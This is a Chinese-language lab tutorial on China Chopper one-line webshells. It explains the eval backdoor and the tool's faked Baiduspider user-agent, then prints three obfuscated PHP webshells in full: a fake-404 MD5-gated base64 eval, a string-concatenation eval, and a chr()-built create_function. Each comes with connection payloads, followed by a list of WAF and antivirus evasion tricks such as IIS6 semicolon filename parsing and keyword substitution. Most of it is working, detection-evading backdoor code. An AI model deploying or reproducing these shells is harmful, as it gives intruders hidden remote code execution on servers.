中国菜刀之写一句话木马变形

了解一句话脚本的工作原理

一句话脚本的工作原理:

一句话恶意脚本分析服务端与客户端。(此处以asp脚本语言简述原理)

一句话恶意脚本服务端就是我们要用来插入到asp文件中的asp语句,(不仅仅是以asp为后缀的数据库文件),该语句将回为触发,接收入侵者通过客户端提交的数据,执行并完成相应的操作,服务端的代码内容为<%execute request("pass")%> 其中pass可以自己修改

一句话恶意脚本客户端(即为中国菜刀主程序)用来向服务端提交控制数据的,提交的数据通过服务端构成完整的asp功能语句并执行.

我们尝试抓取http日志来剖析菜刀技术原理:

在上述试验中,我们最开始连接的hack.php的代码如下:

1
2
3
<?php
eval ($_POST['pass']);
?>

在PHP的代码中:eva() 函数把字符串按照 PHP 代码来计算。该字符串必须是合法的 PHP 代码,且必须以分号结尾。如果没有在代码字符串中调用 return 语句,则返回 NULL。如果代码中存在解析错误,则 eval() 函数返回 false。

在我们通过中国菜刀进行文件管理的时候,系统在做什么呢?

在这里我们需要查看系统的日志进行查找答案

  • (1) 查看系统日志
  • (2)重新使用菜刀的文件管理功能抓取日志

我们在中国菜刀中重新使用文件管理的功能,其后服务器端产生了日志信息。

服务器端产生了如下日志信息(以下数据为服务器端日志数据,在实验环境中无法查看,仅作理论参考):

1
172.16.11.2 - - [22/Nov/2016:08:31:02 +0800] "POST /hack.php HTTP/1.1" 200 477 "http://172.16.12.2/" "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)"
日志的主要信息如下:

POST /hack.php为请求的方式,Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html 为用户浏览器的user-agent.

依此我们能够得到一下结论:

  • (1)中国菜刀的请求方式为post。
  • (2)中国菜刀模拟了百度爬虫的user-agent.

由于Apache不记录post请求中的data信息,我们也不在这里具体演示记录post的方式,需要大家知道的是:中国菜刀默认的连接中使用base64的方式进行编码传输,以便逃脱抓捕。

一句话脚本的变形

实际渗透测试中会有各种的安全软件和WAF拦截我们的菜刀和一句话文件传输数据并查杀我们的一句话文件,于是需要对一句话文件进行加密、拆分等变形。我们整理了三个一句话脚本的变形,我们将分别进行测试。

  • 为了避免实验中产生干扰,请在每次测试前,将之前的shell连接删除掉。

提示:在本次实验中,访问目标网址172.16.12.2进行实验

实验步骤

案例1 加密类变形

php一句话恶意脚本带404页面,带MD5加密,可浏览器POST任意php代码执行. 代码如下:

1
2
3
4
5
<?php 
echo "404 Not Found!</br>"; error_reporting(0);
if(isset($_POST['com']) && md5($_POST['com']) == '791dc312b38016ef998c1c146104cd5a' && isset($_POST['content'])) $content = strtr($_POST['content'], '-_,', '+/=');eval(base64_decode($content));
echo "We're sorry but the page your are looking for is Not Found..."
?>

在菜刀里写http://172.16.12.2/hack1.php 密码:page

菜刀配置填:

1
<O>com=settoken&content=ZXZhbCgkX1BPU1RbJ3BhZ2UnXSk7</O>

Alt text

案例2 变量拼接类变形

webshell的代码如下:

1
2
3
<?php 
$sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s22=${strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2])}['n985de9'];if(isset($s22)){eval($s21($s22));}
?>

在菜刀里写http://172.16.12.2/hack2.php 密码是:0(删除之前添加的shell地址)

菜刀配置填:

1
<O>n985de9=QGV2YWwoJF9QT1NUWzBdKTs=</O>

Alt text

案例3 加密拼接类变形

webshell的代码如下:

1
<?php $_uU=chr(99).chr(104).chr(114);$_cC=$_uU(101).$_uU(118).$_uU(97).$_uU(108).$_uU(40).$_uU(36).$_uU(95).$_uU(80).$_uU(79).$_uU(83).$_uU(84).$_uU(91).$_uU(49).$_uU(93).$_uU(41).$_uU(59);$_fF=$_uU(99).$_uU(114).$_uU(101).$_uU(97).$_uU(116).$_uU(101).$_uU(95).$_uU(102).$_uU(117).$_uU(110).$_uU(99).$_uU(116).$_uU(105).$_uU(111).$_uU(110);$_=$_fF("",$_cC);@$_();?>

在菜刀里写http://172.16.12.2/hack3.php 连接密码:1(删除之前添加的shell地址)

Alt text

在上述的三个测试中,我们可能存在的“安全卫士”进行的模拟的绕过操作。而在实际的工作中,我们可能会遇到更多的类型。

在常见的绕过的套路中,一般使用以下几种方式进行绕过处理:

1、 第一种,使用各种分号 例如:/;.shell.asp;.jpg/;1.asp/1.jpg(这里仅适用于IIS6.0)

2、第二种 把菜刀提交的内容在中转文件替换修改。

3、第三种 替换关键词,防止安全工具针对特定的关键字进行查杀。

4、 第四种 伪装爬虫,不使用特定的user-agent。